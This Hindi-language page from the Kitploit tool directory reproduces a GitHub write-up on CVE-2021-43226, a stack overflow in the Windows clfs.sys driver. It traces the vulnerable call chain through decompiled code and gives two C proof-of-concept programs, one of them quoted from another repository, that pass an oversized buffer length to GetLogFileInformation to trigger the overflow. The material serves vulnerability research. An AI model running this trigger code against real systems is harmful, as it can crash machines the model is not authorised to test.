Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2021-43226PoC — cve-2021-43226 का एक प्रूफ ऑफ कॉन्सेप्ट, विंडोज ड्राइवर clfs.sys में स्टैक ओवरफ्लो | Kitploit
उपकरण/GitHubGitHub/rosayxy/cve-2021-43226poc
भेद्यता विश्लेषणशोषणबाइनरी शोषण
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

cve-2021-43226 का एक प्रूफ ऑफ कॉन्सेप्ट, विंडोज ड्राइवर clfs.sys में स्टैक ओवरफ्लो

रिपॉजिटरी देखें
212 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-43226 पुनरुत्पादन

वातावरण

ऑपरेटिंग सिस्टम: Hyper-V पर Win10 20H2 बिल्ड नंबर 19042.508, एक वेबसाइट मिली https://os.click/en, विंडोज इमेज अपेक्षाकृत पूर्ण हैं और अभी तक कोई बैकडोर नहीं मिला है
चूंकि मिला PoC Visual Studio 2013 के साथ संकलित किया गया है, इसलिए मैंने भी Visual Studio 2013 का उपयोग करके प्रोग्राम को स्टैटिकली लिंक किया है।

भेद्यता

भेद्यता clfs.sys के अंदर CClfsLogFcbVirtual::QueryLogFileInfo फ़ंक्शन में है Microsoft के दस्तावेज़ीकरण में clfs.sys का वर्णन इस प्रकार है:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

इस फ़ंक्शन का पहला पॉइंटर एक CClfsLogFcbVirtual* this है, पैच से पहले और बाद के कोड की तुलना करने पर, एक स्पष्ट अंतर निम्नलिखित कोड के एक भाग में देखा जा सकता है: v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size); क्या Size को 120 पर सेट करने से पहले ऐसा होता है? इस फ़ंक्शन द्वारा कॉल किए गए अन्य मापदंडों में, a2 एक FILE_OBJECT है, Src स्टैक पर एक ऐरे है (IDA द्वारा डीकंपाइल __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) और इस भेद्यता का वर्णन स्टैक ओवरफ़्लो के रूप में किया गया है, यह अनुमान लगाया गया है कि जब Size 120 से अधिक होता है तो स्टैक ओवरफ़्लो होगा। सामने आई एक समस्या यह है कि क्रॉस रेफरेंस को सीधे नहीं देखा जा सकता है, यह फ़ंक्शन __guard_dispatch_icall_fptr के माध्यम से कॉल किया जाता है, और फिलहाल फ़ंक्शन कॉल में पैरामीटर पास करने की प्रक्रिया का निर्धारण किया जा रहा है। (update): इस फ़ंक्शन को ClfsQueryLogFileInformation या CClfsRequest::LogFileInfo दो फ़ंक्शन द्वारा कॉल किया जाता है, जो क्रमशः CreateLogFile और GetLogFileInformation दो API का उपयोग करते हैं, जहां GetLogFileInformation की कॉल श्रृंखला स्पष्ट रूप से छोटी है, इसलिए इस API को क्रैश उत्पन्न करने के लिए चुना गया है। GetLogFileInformation कॉल करते समय अंतिम चरण का पैरामीटर इस प्रकार है, जो LogFileInfo फ़ंक्शन में है:

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

जहां v14 एक FileObject है, this LogFileInfo में एक पैरामीटर के रूप में पास किया गया CClfsRequest है।

LogFileInfo को कॉल करने वाले फ़ंक्शन को देखते रहें, यह CClfsRequest::Dispatch है (विशिष्ट घोषणा __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3) है), यह फ़ंक्शन LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; के माध्यम से यह निर्धारित करता है कि आगे किस विशेष फ़ंक्शन को कॉल करना है, जहां CurrentStackLocation एक struct है, struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx एक पैरामीटर के रूप में पास किया गया है, और this का असाइनमेंट ऊपरी फ़ंक्शन द्वारा इस डिस्पैच को दिए गए पैरामीटर पर निर्भर करता है, इसलिए हम और ऊपर देखेंगे। आगे CClfsDispatchIoRequest फ़ंक्शन है v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1 और Irp पास किए गए पैरामीटर हैं, a1 एक DeviceObject है, Irp PIRP प्रकार का है यानी IRP का पॉइंटर है (IRP के लिए https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp देखें) v4 का असाइनमेंट इस प्रकार है:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4 int64 प्रकार का है

आगे पैरामीटर पास करना जारी रखते हुए, CClfsDriver::LogIoDispatch फ़ंक्शन पर आते हैं, यह फ़ंक्शन सीधे अपने द्वारा प्राप्त पैरामीटर को CClfsDispatchIoRequest फ़ंक्शन में भेजता है। एक कदम और ऊपर nt!IofCallDriver फ़ंक्शन है, इस फ़ंक्शन की घोषणा है NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

पुनरुत्पादन

पहले API की विशिष्ट घोषणा और पैरामीटर अर्थ खोजें। GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

जहां पैरामीटर परिभाषाएँ इस प्रकार हैं:

  • hLog: CreateLogFile के सफल कॉल से प्राप्त खुले लॉग का हैंडल। लॉग हैंडल एक समर्पित लॉग या मल्टीप्लेक्स लॉग को संदर्भित कर सकता है।
  • pinfoBuffer: उपयोगकर्ता द्वारा आवंटित CLFS_INFORMATION संरचना की ओर इशारा करने वाला पॉइंटर, जो लॉग मेटाडेटा प्राप्त करता है।
  • cbBuffer: वेरिएबल की ओर इशारा करने वाला पॉइंटर, इनपुट करते समय pinfoBuffer द्वारा इंगित मेटाडेटा बफर का आकार (बाइट्स में) निर्दिष्ट करता है।
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//लॉग फ़ाइल बनाएं
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) 120 यानी 0x78 है
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

जहां, CreateLogFile और GetLogFileInformation के पैरामीटर सीधे Microsoft के दस्तावेज़ के अनुसार कॉपी किए गए हैं (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file) लेकिन logname के साथ कुछ समस्या हुई, शुरुआत में मूल रूप से दस्तावेज़ के अनुसार था:

उदाहरण के लिए: पथ "LOG:c:\MyDirectory\MyLog" फ़ाइल "c:\MyDirectory\MyLog.blf" बनाता है। लेकिन पाया कि ऐसा करने पर, वर्तमान निर्देशिका में सीधे c नाम की एक लॉग फ़ाइल बन जाती है, इसलिए PoC(Others) देखा, और विंडोज सिस्टम पर सामान्य पथ प्रारूप "LOG: C:\MyLog" में बदल दिया, लेकिन ऐसा करने पर भी काम नहीं हुआ, डीबगिंग में पाया कि CClfsLogFcbVirtual::QueryLogFileInfo कॉल नहीं हो रहा है बल्कि CClfsLogFcbPhysical::QueryLogFileInfo फ़ंक्शन कॉल हो रहा है, इसलिए एक LogStreamName जोड़ा, तब काम कर गया। एक और छोटी समस्या यह है कि विजुअल स्टूडियो कोड जनरेट करते समय स्टैटिक लिंकिंग का उपयोग करता है, यदि #pragma comment(lib,"clfsw32.lib") पंक्ति नहीं है तो लिंकर बार-बार CreateLogFile, GetLogFileInformation न मिलने की त्रुटि देगा।

PoC(Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}

टूल डाउनलोड करें